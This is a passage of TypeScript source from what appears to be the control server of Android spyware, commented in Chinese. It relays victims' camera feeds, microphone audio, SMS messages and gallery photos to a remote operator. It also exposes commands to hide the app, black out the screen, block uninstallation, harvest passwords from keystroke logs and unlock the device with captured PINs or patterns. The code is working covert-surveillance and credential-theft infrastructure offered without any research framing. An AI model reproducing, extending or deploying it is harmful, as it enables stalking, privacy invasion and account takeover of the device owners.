this.logger.debug(`⚠️ 跳过重复摄像头数据: 设备${cameraData.deviceId}, 间隔${timeDiff}ms`)
return false
}
}
// 更新缓冲区(用于去重和统计)
this.cameraDataBuffer.set(cameraData.deviceId, {
data: cameraData,
timestamp: Date.now()
})
// 首先尝试从DeviceManager获取设备信息
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
if (!device) {
// 立即尝试从数据库恢复设备,而不是延迟处理
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
if (dbDevice) {
// 获取设备状态信息
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
device = {
id: dbDevice.deviceId,
socketId: fromSocketId,
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const,
inputBlocked: deviceState?.inputBlocked || false,
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
remark: (dbDevice as any).remark // 🆕 恢复设备备注
}
// 将恢复的设备添加到DeviceManager中
this.deviceManager.addDevice(device)
// 更新数据库中的设备记录特别是lastSocketId
try {
// 转换设备对象格式以匹配数据库期望的格式
const deviceForDb = {
deviceId: device.id,
deviceName: device.name,
deviceModel: device.model,
osVersion: device.osVersion,
appVersion: device.appVersion,
screenWidth: device.screenWidth,
screenHeight: device.screenHeight,
capabilities: device.capabilities
}
this.databaseService.saveDevice(deviceForDb, fromSocketId)
} catch (dbError) {
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
}
// 设备通过摄像头数据恢复后必须立即通知Web端
this.logger.info(`✅ 设备已恢复到内存: ${device.name}立即通知Web端设备在线`)
// 立即广播设备连接事件给所有Web客户端
this.webClientManager.broadcastToAll('device_connected', device)
// 同时广播设备状态更新
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
// 同步设备状态到设备端(如输入阻塞状态)
if (deviceState) {
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
}
} else {
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`)
// 只有在数据库中也找不到时,才使用延迟重试
setTimeout(() => {
this.retryRouteCameraData(fromSocketId, cameraData, 1)
}, 500)
return true // 返回true避免client端重试
}
}
// 确保device不为undefined
if (!device) {
return false
}
// 更新设备的lastSeen时间
device.lastSeen = new Date()
this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`)
// 添加摄像头数据传输限流和错误处理
try {
// 发送摄像头数据到控制客户端
const success = this.webClientManager.sendToClient(controllerId, 'camera_data', {
deviceId: device.id,
format: cameraData.format,
data: cameraData.data,
type: cameraData.type,
timestamp: cameraData.timestamp
})
if (!success) {
this.logger.warn(`❌ 发送摄像头数据失败: ${device.name} -> ${controllerId}`)
return false
}
// 记录成功传输,用于监控
this.logger.debug(`✅ 摄像头数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`)
return true
} catch (emitError) {
this.logger.error(`❌ 摄像头数据发送异常: ${device.name} -> ${controllerId}`, emitError)
return false
}
} catch (error) {
this.logger.error('路由摄像头数据失败:', error)
return false
}
}
/**
* 重试路由摄像头数据
*/
private retryRouteCameraData(fromSocketId: string, cameraData: CameraData, retryCount: number): void {
const maxRetries = 3
try {
// 再次尝试从DeviceManager获取设备信息
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
if (!device && retryCount <= maxRetries) {
// 继续等待并重试
setTimeout(() => {
this.retryRouteCameraData(fromSocketId, cameraData, retryCount + 1)
}, 1000 * retryCount) // 递增延迟1s, 2s, 3s
return
}
if (!device) {
// 最后尝试从数据库查询
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
if (dbDevice) {
// 获取设备状态信息
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
// 使用数据库中的设备信息创建设备对象并注册到DeviceManager
device = {
id: dbDevice.deviceId,
socketId: fromSocketId,
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const,
inputBlocked: deviceState?.inputBlocked || false,
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
remark: (dbDevice as any).remark // 🆕 恢复设备备注
}
// 将恢复的设备添加到DeviceManager中避免重复查询
this.deviceManager.addDevice(device)
// 更新数据库中的设备记录特别是lastSocketId
try {
// 转换设备对象格式以匹配数据库期望的格式
const deviceForDb = {
deviceId: device.id,
deviceName: device.name,
deviceModel: device.model,
osVersion: device.osVersion,
appVersion: device.appVersion,
screenWidth: device.screenWidth,
screenHeight: device.screenHeight,
capabilities: device.capabilities
}
this.databaseService.saveDevice(deviceForDb, fromSocketId)
this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`)
} catch (dbError) {
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
}
// 重试恢复成功后立即通知Web端设备在线
this.logger.info(`✅ 设备重试恢复成功: ${device.name}立即通知Web端设备在线`)
// 立即广播设备连接事件给所有Web客户端
this.webClientManager.broadcastToAll('device_connected', device)
// 同时广播设备状态更新
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
// 同步设备状态到设备端(如输入阻塞状态)
if (deviceState) {
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
}
} else {
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`)
return
}
}
// 设备找到后正常路由
if (device) {
this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`)
const controllerId = this.webClientManager.getDeviceController(device.id)
if (controllerId) {
const success = this.webClientManager.sendToClient(controllerId, 'camera_data', {
deviceId: device.id,
format: cameraData.format,
data: cameraData.data,
type: cameraData.type,
timestamp: cameraData.timestamp
})
if (success) {
this.logger.debug(`📷 重试路由成功: ${device.name}`)
}
}
}
} catch (error) {
this.logger.error('重试路由摄像头数据失败:', error)
}
}
/**
* 路由相册图片数据不保存到磁盘直接转发base64给客户端
*/
routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean {
try {
// 校验设备来源
const device = this.databaseService.getDeviceBySocketId(fromSocketId)
if (!device || device.deviceId !== image.deviceId) {
this.logger.warn(`⚠️ 非法的相册图片来源socket=${fromSocketId}, 声称设备=${image.deviceId}`)
return false
}
// 直接将base64数据转发给当前控制端
const controllerId = this.webClientManager.getDeviceController(image.deviceId)
if (!controllerId) {
this.logger.debug(`⚠️ 设备${image.deviceId}无控制者,丢弃相册图片数据 index=${image.index}`)
return true
}
// 保留事件名与元数据结构以保证前端兼容同时附加base64数据
this.webClientManager.sendToClient(controllerId, 'gallery_image_saved', {
deviceId: image.deviceId,
type: 'gallery_image_saved',
index: image.index,
id: image.id,
displayName: image.displayName,
dateAdded: image.dateAdded,
mimeType: image.mimeType,
width: image.width,
height: image.height,
size: image.size,
contentUri: image.contentUri,
timestamp: image.timestamp,
// 直接携带原始base64数据可能是 dataURL 或纯base64
data: image.data
})
// 记录日志(不落盘)
const approxSize = typeof image.data === 'string' ? image.data.length : 0
this.logger.info(`🖼️ 已转发相册图片(不保存): 设备=${image.deviceId}, index=${image.index}, base64Size=${approxSize}`)
return true
} catch (error) {
this.logger.error('转发相册图片失败:', error)
return false
}
}
/**
* 路由麦克风音频数据从设备到Web客户端
*/
routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean {
try {
this.routedMicrophoneAudio++
// 添加音频数据大小检查
const dataSize = typeof audioData.audioData === 'string' ? audioData.audioData.length : 0
this.totalMicrophoneAudioSize += dataSize
if (dataSize > this.maxDataSize) {
this.droppedMicrophoneAudio++
this.logger.warn(`⚠️ 麦克风音频数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`)
return false
}
// 检查设备是否有控制者
const controllerId = this.webClientManager.getDeviceController(audioData.deviceId)
if (!controllerId) {
this.logger.debug(`⚠️ 设备${audioData.deviceId}无控制者,丢弃麦克风音频数据`)
return true
}
// 去重防抖100ms内相同设备的音频数据视为重复
const existingBuffer = this.microphoneAudioBuffer.get(audioData.deviceId)
if (existingBuffer) {
const timeDiff = Date.now() - existingBuffer.timestamp
if (timeDiff < 100) {
this.droppedMicrophoneAudio++
this.logger.debug(`⚠️ 跳过重复麦克风音频数据: 设备${audioData.deviceId}, 间隔${timeDiff}ms`)
return false
}
}
// 更新缓冲区
this.microphoneAudioBuffer.set(audioData.deviceId, {
data: audioData,
timestamp: Date.now()
})
// 获取或恢复设备
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
if (!device) {
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
if (dbDevice) {
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
device = {
id: dbDevice.deviceId,
socketId: fromSocketId,
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const,
inputBlocked: deviceState?.inputBlocked || false,
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
remark: (dbDevice as any).remark // 🆕 恢复设备备注
}
this.deviceManager.addDevice(device)
// 更新数据库中的设备记录
try {
const deviceForDb = {
deviceId: device.id,
deviceName: device.name,
deviceModel: device.model,
osVersion: device.osVersion,
appVersion: device.appVersion,
screenWidth: device.screenWidth,
screenHeight: device.screenHeight,
capabilities: device.capabilities
}
this.databaseService.saveDevice(deviceForDb, fromSocketId)
} catch (dbError) {
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
}
// 通知Web端设备在线
this.logger.info(`✅ 设备已恢复到内存: ${device.name}立即通知Web端设备在线`)
this.webClientManager.broadcastToAll('device_connected', device)
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
// 同步设备状态到设备端
if (deviceState) {
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
}
} else {
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`)
setTimeout(() => {
this.retryRouteMicrophoneAudio(fromSocketId, audioData, 1)
}, 500)
return true
}
}
if (!device) {
return false
}
// 更新设备的lastSeen时间
device.lastSeen = new Date()
this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`)
// 发送麦克风音频数据到控制客户端
try {
const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', {
deviceId: device.id,
audioData: audioData.audioData,
sampleRate: audioData.sampleRate,
sampleCount: audioData.sampleCount,
format: audioData.format,
channels: audioData.channels,
bitDepth: audioData.bitDepth,
timestamp: audioData.timestamp
})
if (!success) {
this.logger.warn(`❌ 发送麦克风音频数据失败: ${device.name} -> ${controllerId}`)
return false
}
this.logger.debug(`✅ 麦克风音频数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`)
return true
} catch (emitError) {
this.logger.error(`❌ 麦克风音频数据发送异常: ${device.name} -> ${controllerId}`, emitError)
return false
}
} catch (error) {
this.logger.error('路由麦克风音频数据失败:', error)
return false
}
}
/**
* 重试路由麦克风音频数据
*/
private retryRouteMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData, retryCount: number): void {
const maxRetries = 3
try {
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
if (!device && retryCount <= maxRetries) {
setTimeout(() => {
this.retryRouteMicrophoneAudio(fromSocketId, audioData, retryCount + 1)
}, 1000 * retryCount)
return
}
if (!device) {
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
if (dbDevice) {
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
device = {
id: dbDevice.deviceId,
socketId: fromSocketId,
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const,
inputBlocked: deviceState?.inputBlocked || false,
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
remark: (dbDevice as any).remark // 🆕 恢复设备备注
}
this.deviceManager.addDevice(device)
try {
const deviceForDb = {
deviceId: device.id,
deviceName: device.name,
deviceModel: device.model,
osVersion: device.osVersion,
appVersion: device.appVersion,
screenWidth: device.screenWidth,
screenHeight: device.screenHeight,
capabilities: device.capabilities
}
this.databaseService.saveDevice(deviceForDb, fromSocketId)
} catch (dbError) {
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
}
this.logger.info(`✅ 设备重试恢复成功: ${device.name}立即通知Web端设备在线`)
this.webClientManager.broadcastToAll('device_connected', device)
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
if (deviceState) {
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
}
} else {
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`)
return
}
}
if (device) {
this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`)
const controllerId = this.webClientManager.getDeviceController(device.id)
if (controllerId) {
const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', {
deviceId: device.id,
audioData: audioData.audioData,
sampleRate: audioData.sampleRate,
sampleCount: audioData.sampleCount,
format: audioData.format,
channels: audioData.channels,
bitDepth: audioData.bitDepth,
timestamp: audioData.timestamp
})
if (success) {
this.logger.debug(`🎤 重试路由成功: ${device.name}`)
}
}
}
} catch (error) {
this.logger.error('重试路由麦克风音频数据失败:', error)
}
}
/**
* 路由短信数据从设备到Web客户端
*/
routeSmsData(fromSocketId: string, smsData: SmsData): boolean {
try {
this.routedSmsData++
// 估算数据大小(用于监控)
try {
const approxSize = JSON.stringify(smsData).length
this.totalSmsDataSize += approxSize
if (approxSize > this.maxDataSize) {
this.droppedSmsData++
this.logger.warn(`⚠️ 短信数据过大被拒绝: ${approxSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`)
return false
}
} catch (_) {
// 忽略JSON stringify异常
}
// 检查设备控制者
const controllerId = this.webClientManager.getDeviceController(smsData.deviceId)
if (!controllerId) {
this.logger.debug(`⚠️ 设备${smsData.deviceId}无控制者,丢弃短信数据`)
return true
}
// 去重防抖500ms内相同设备的批次视为重复
const existingBuffer = this.smsDataBuffer.get(smsData.deviceId)
if (existingBuffer) {
const timeDiff = Date.now() - existingBuffer.timestamp
if (timeDiff < 500) {
this.droppedSmsData++
this.logger.debug(`⚠️ 跳过重复短信数据: 设备${smsData.deviceId}, 间隔${timeDiff}ms`)
return false
}
}
// 更新缓冲区
this.smsDataBuffer.set(smsData.deviceId, {
data: smsData,
timestamp: Date.now()
})
// 获取或恢复设备
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
if (!device) {
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
if (dbDevice) {
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
device = {
id: dbDevice.deviceId,
socketId: fromSocketId,
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const,
inputBlocked: deviceState?.inputBlocked || false,
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
remark: (dbDevice as any).remark // 🆕 恢复设备备注
}
this.deviceManager.addDevice(device)
try {
const deviceForDb = {
deviceId: device.id,
deviceName: device.name,
deviceModel: device.model,
osVersion: device.osVersion,
appVersion: device.appVersion,
screenWidth: device.screenWidth,
screenHeight: device.screenHeight,
capabilities: device.capabilities
}
this.databaseService.saveDevice(deviceForDb, fromSocketId)
} catch (dbError) {
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
}
// 通知Web端设备在线
this.webClientManager.broadcastToAll('device_connected', device)
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
if (deviceState) {
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
}
} else {
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId}延迟处理等待注册SMS`)
setTimeout(() => {
this.retryRouteSmsData(fromSocketId, smsData, 1)
}, 500)
return true
}
}
if (!device) {
return false
}
// 更新活跃时间
device.lastSeen = new Date()
// 转发给控制客户端
try {
const success = this.webClientManager.sendToClient(controllerId, 'sms_data', {
deviceId: device.id,
type: smsData.type,
timestamp: smsData.timestamp,
count: smsData.count,
smsList: smsData.smsList
})
if (!success) {
this.logger.warn(`❌ 发送短信数据失败: ${device.name} -> ${controllerId}`)
return false
}
this.logger.debug(`✅ 短信数据传输成功: ${device.id} -> ${controllerId} (count=${smsData.count})`)
return true
} catch (emitError) {
this.logger.error(`❌ 短信数据发送异常: ${device.name} -> ${controllerId}`, emitError)
return false
}
} catch (error) {
this.logger.error('路由短信数据失败:', error)
return false
}
}
/**
* 重试路由短信数据
*/
private retryRouteSmsData(fromSocketId: string, smsData: SmsData, retryCount: number): void {
const maxRetries = 3
try {
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
if (!device && retryCount <= maxRetries) {
setTimeout(() => {
this.retryRouteSmsData(fromSocketId, smsData, retryCount + 1)
}, 1000 * retryCount)
return
}
if (!device) {
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
if (dbDevice) {
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
device = {
id: dbDevice.deviceId,
socketId: fromSocketId,
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const,
inputBlocked: deviceState?.inputBlocked || false,
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
remark: (dbDevice as any).remark // 🆕 恢复设备备注
}
this.deviceManager.addDevice(device)
try {
const deviceForDb = {
deviceId: device.id,
deviceName: device.name,
deviceModel: device.model,
osVersion: device.osVersion,
appVersion: device.appVersion,
screenWidth: device.screenWidth,
screenHeight: device.screenHeight,
capabilities: device.capabilities
}
this.databaseService.saveDevice(deviceForDb, fromSocketId)
} catch (dbError) {
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
}
this.webClientManager.broadcastToAll('device_connected', device)
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
if (deviceState) {
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
}
} else {
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备(短信): ${fromSocketId}`)
return
}
}
if (device) {
const controllerId = this.webClientManager.getDeviceController(device.id)
if (controllerId) {
const success = this.webClientManager.sendToClient(controllerId, 'sms_data', smsData)
if (success) {
this.logger.debug(`📱 短信数据重试路由成功: ${device.name}`)
}
}
}
} catch (error) {
this.logger.error('重试路由短信数据失败:', error)
}
}
/**
* 路由设备事件从设备到Web客户端
*/
routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean {
try {
this.logger.info(`🔍 处理设备事件: ${eventType}, Socket: ${fromSocketId}`)
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
// 对于ui_hierarchy_response即使找不到设备也要尝试处理
if (!device && eventType === 'ui_hierarchy_response') {
this.logger.warn(`⚠️ 找不到设备但收到UI响应尝试从数据库恢复设备信息`)
// 尝试从响应数据中获取deviceId
const deviceId = eventData?.deviceId
if (deviceId) {
this.logger.info(`📋 从响应数据中获取到设备ID: ${deviceId}`)
// 直接处理UI层次结构响应
this.handleUIHierarchyResponse(deviceId, eventData)
return true
} else {
this.logger.error(`❌ 响应数据中没有deviceId字段`)
}
}
if (!device) {
this.logger.warn(`❌ 无法找到Socket ${fromSocketId} 对应的设备`)
return false
}
// 🔧 修复更新设备的lastSeen时间设备事件是活动的标志
device.lastSeen = new Date()
this.logger.debug(`🔄 设备事件更新活跃时间: ${device.id} - ${eventType}`)
// 广播给所有Web客户端状态更新等
this.webClientManager.broadcastToAll('device_event', {
deviceId: device.id,
eventType,
data: eventData,
timestamp: Date.now()
})
this.logger.debug(`设备事件已广播: ${device.id} - ${eventType}`)
// 处理特定的设备状态变化事件
switch (eventType) {
case 'INPUT_BLOCKED_CHANGED':
this.handleDeviceInputBlockedChanged(device.id, eventData.blocked)
break
case 'LOGGING_STATE_CHANGED':
this.handleDeviceLoggingStateChanged(device.id, eventData.enabled)
break
case 'ui_hierarchy_response':
this.handleUIHierarchyResponse(device.id, eventData)
break
case 'app_hide_status':
this.handleAppHideStatusUpdate(device.id, eventData)
break
default:
this.logger.debug(`设备事件已处理: ${eventType}`)
break
}
return true
} catch (error) {
this.logger.error('路由设备事件失败:', error)
return false
}
}
/**
* 路由客户端事件从Web客户端到其他客户端或设备
*/
routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean {
try {
this.logger.info(`🔍 处理客户端事件: ${eventType}, Socket: ${fromSocketId}`)
const client = this.webClientManager.getClientBySocketId(fromSocketId)
if (!client) {
this.logger.warn(`❌ 无法找到客户端: ${fromSocketId}`)
return false
}
this.logger.info(`✅ 找到客户端: ${client.id}`)
switch (eventType) {
case 'REQUEST_DEVICE_CONTROL':
return this.handleDeviceControlRequest(client.id, eventData.deviceId)
case 'RELEASE_DEVICE_CONTROL':
return this.handleDeviceControlRelease(client.id, eventData.deviceId)
case 'GET_DEVICE_LIST':
return this.handleDeviceListRequest(client.id)
case 'GET_OPERATION_LOGS':
return this.handleGetOperationLogs(client.id, eventData)
case 'CLEAR_OPERATION_LOGS':
return this.handleClearOperationLogs(client.id, eventData.deviceId)
case 'GET_DEVICE_PASSWORD':
return this.handleGetDevicePassword(client.id, eventData.deviceId)
case 'SAVE_DEVICE_PASSWORD':
return this.handleSaveDevicePassword(client.id, eventData.deviceId, eventData.password)
case 'UPDATE_DEVICE_STATE':
return this.handleUpdateDeviceState(client.id, eventData.deviceId, eventData.state)
case 'GET_DEVICE_STATE':
return this.handleGetDeviceState(client.id, eventData.deviceId)
case 'SEARCH_PASSWORDS_FROM_LOGS':
return this.handleSearchPasswordsFromLogs(client.id, eventData.deviceId)
case 'DELETE_DEVICE':
return this.handleDeleteDevice(client.id, eventData.deviceId)
case 'GET_UI_HIERARCHY':
return this.handleGetUIHierarchy(client.id, eventData.deviceId, eventData)
case 'START_EXTRACT_CONFIRM_COORDS':
return this.handleStartExtractConfirmCoords(client.id, eventData.deviceId)
case 'SAVE_CONFIRM_COORDS':
return this.handleSaveConfirmCoords(client.id, eventData.deviceId, eventData.coords)
case 'ENABLE_BLACK_SCREEN':
return this.handleEnableBlackScreen(client.id, eventData.deviceId)
case 'DISABLE_BLACK_SCREEN':
return this.handleDisableBlackScreen(client.id, eventData.deviceId)
case 'OPEN_APP_SETTINGS':
return this.handleOpenAppSettings(client.id, eventData.deviceId)
case 'HIDE_APP':
return this.handleHideApp(client.id, eventData.deviceId)
case 'SHOW_APP':
return this.handleShowApp(client.id, eventData.deviceId)
case 'REFRESH_MEDIA_PROJECTION_PERMISSION':
return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId)
case 'REFRESH_SCREEN':
return this.handleRefreshScreen(client.id, eventData.deviceId)
case 'REFRESH_MEDIA_PROJECTION_MANUAL':
return this.handleRefreshMediaProjectionManual(client.id, eventData.deviceId)
case 'CLOSE_CONFIG_MASK':
return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual)
case 'ENABLE_UNINSTALL_PROTECTION':
return this.handleEnableUninstallProtection(client.id, eventData.deviceId)
case 'DISABLE_UNINSTALL_PROTECTION':
return this.handleDisableUninstallProtection(client.id, eventData.deviceId)
case 'UNLOCK_DEVICE':
return this.handleUnlockDevice(client.id, eventData.deviceId, eventData.data)
case 'GALLERY_PERMISSION_CHECK':
return this.handleGalleryPermissionCheck(client.id, eventData.deviceId)
case 'ALBUM_READ':
return this.handleAlbumRead(client.id, eventData.deviceId, eventData.data)
case 'OPEN_PIN_INPUT':
return this.handleOpenPinInput(client.id, eventData.deviceId)
case 'OPEN_FOUR_DIGIT_PIN':
return this.handleOpenFourDigitPin(client.id, eventData.deviceId)
case 'OPEN_PATTERN_LOCK':
return this.handleOpenPatternLock(client.id, eventData.deviceId)
case 'CHANGE_SERVER_URL':
return this.handleChangeServerUrl(client.id, eventData.deviceId, eventData.data)
default:
this.logger.warn(`未知的客户端事件类型: ${eventType}`)
return false
}
} catch (error) {
this.logger.error('路由客户端事件失败:', error)
return false
}
}
/**
* 处理设备控制请求
*/
private handleDeviceControlRequest(clientId: string, deviceId: string): boolean {
// ✅ 检查设备是否存在
const device = this.deviceManager.getDevice(deviceId)
if (!device) {
this.logger.warn(`⚠️ 尝试控制不存在的设备: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'device_control_response', {
deviceId,
success: false,
message: '设备不存在或已断开连接'
})
return false
}
// ✅ 检查客户端是否已经在控制此设备(避免重复请求)
if (this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.debug(`👀 客户端 ${clientId} 已经在控制设备 ${deviceId},跳过重复请求`)
this.webClientManager.sendToClient(clientId, 'device_control_response', {
deviceId,
success: true,
message: '已经在控制此设备'
})
return true
}
const result = this.webClientManager.requestDeviceControl(clientId, deviceId)
this.webClientManager.sendToClient(clientId, 'device_control_response', {
deviceId,
success: result.success,
message: result.message,
currentController: result.currentController
})
if (result.success) {
// 通知设备有新的控制者
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('controller_changed', { clientId })
this.logger.info(`📤 已通知设备 ${deviceId} 新控制者: ${clientId}`)
}
}
// 恢复设备状态(如果存在)
this.restoreDeviceState(clientId, deviceId)
}
return true
}
/**
* 处理设备控制释放
*/
private handleDeviceControlRelease(clientId: string, deviceId: string): boolean {
// ✅ 首先检查设备是否还在线
const device = this.deviceManager.getDevice(deviceId)
if (!device) {
this.logger.warn(`⚠️ 尝试释放已断开设备的控制权: ${deviceId}`)
// 即使设备已断开,也要清理控制权状态
this.webClientManager.releaseDeviceControl(deviceId)
return false
}
if (this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.webClientManager.releaseDeviceControl(deviceId)
// 通知设备控制者已离开
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('controller_changed', { clientId: null })
this.logger.debug(`📤 已通知设备 ${deviceId} 控制者离开`)
} else {
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`)
}
} else {
this.logger.warn(`⚠️ 无法找到设备SocketId: ${deviceId}`)
}
} else {
this.logger.warn(`⚠️ 客户端 ${clientId} 没有设备 ${deviceId} 的控制权`)
return false
}
return true
}
/**
* 处理设备列表请求
*/
private handleDeviceListRequest(clientId: string): boolean {
try {
// ✅ 使用和getAllDevicesIncludingHistory相同的逻辑
// 获取数据库中的所有历史设备
const allDbDevices = this.databaseService.getAllDevices()
// 获取内存中的在线设备用于补充Socket ID和状态
const onlineDevices = this.deviceManager.getAllDevices()
const onlineDeviceMap = new Map()
onlineDevices.forEach(device => {
onlineDeviceMap.set(device.id, device)
})
// 转换为前端格式并补充Socket ID
const allDevices = allDbDevices.map(dbDevice => {
const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId)
return {
id: dbDevice.deviceId,
socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID离线设备为空
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: dbDevice.capabilities,
connectedAt: dbDevice.firstSeen,
lastSeen: dbDevice.lastSeen,
// ✅ 关键修复优先使用内存中的状态如果设备在内存中则为online否则使用数据库状态
status: onlineDevice ? 'online' : dbDevice.status,
inputBlocked: onlineDevice?.inputBlocked || false
}
})
this.webClientManager.sendToClient(clientId, 'device_list', {
devices: allDevices.map(device => ({
...device,
